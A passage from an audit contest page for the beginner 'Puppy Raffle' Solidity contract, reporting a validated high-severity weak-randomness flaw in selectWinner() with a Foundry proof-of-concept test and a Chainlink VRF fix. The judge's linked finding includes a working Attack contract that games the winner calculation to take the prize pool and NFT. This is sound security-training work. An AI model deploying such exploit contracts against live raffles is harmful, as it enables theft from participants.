Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

H-2 Weak Randomness allows Attackers to Predict Winners and Manipulate NFT Rarity

jekysah

[H-02] Weak Randomness in selectWinner() Allows Attackers to Predict Winners and Manipulate NFT Rarity

Description

In the intended design, selectWinner() should select a random winner from the players array and assign a random NFT rarity (Common, Rare, or Legendary) to the minted token using an unpredictable random number generator.

However, the contract relies on block.timestamp, block.difficulty (or prevrandao), and msg.sender as sources of randomness to compute the winnerIndex and rarity. Because all block attributes and transaction contexts are completely deterministic and publicly readable on-chain prior to execution, any user or smart contract can calculate the exact winning outcomes before executing the function.

Proof of Concept

function test_weakRandomnessSelectWinner() public {
// Participants
address[] memory players = new address[](10);
for (uint256 i = 0; i < 10; i++) {
players[i] = address(uint160(i + 1));
}
puppyRaffle.enterRaffle{value: entranceFee * 10}(players);
​
// Arrange
uint256 participantsLength = players.length;
vm.warp(duration + puppyRaffle.raffleStartTime() + 1);
// Act
uint256 winnerIndexPredict = uint256(keccak256(abi.encodePacked(players[0], block.timestamp, block.difficulty))) % participantsLength;
address winnerPredict = puppyRaffle.players(winnerIndexPredict);
​
vm.prank(players[0]);
puppyRaffle.selectWinner();
​
​
// Assert
assertEq(winnerPredict, puppyRaffle.previousWinner());
}

[PASS] test_weakRandomnessSelectWinner() (gas: 547357)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.98ms (1.44ms CPU time)


Recommended Mitigation

PuppyRaffle::selectWinner

A single architectural solution (e.g. Chainlink VRF) is the industry standard for RNG in smart contracts

- uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ adding ChainLink VRF
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!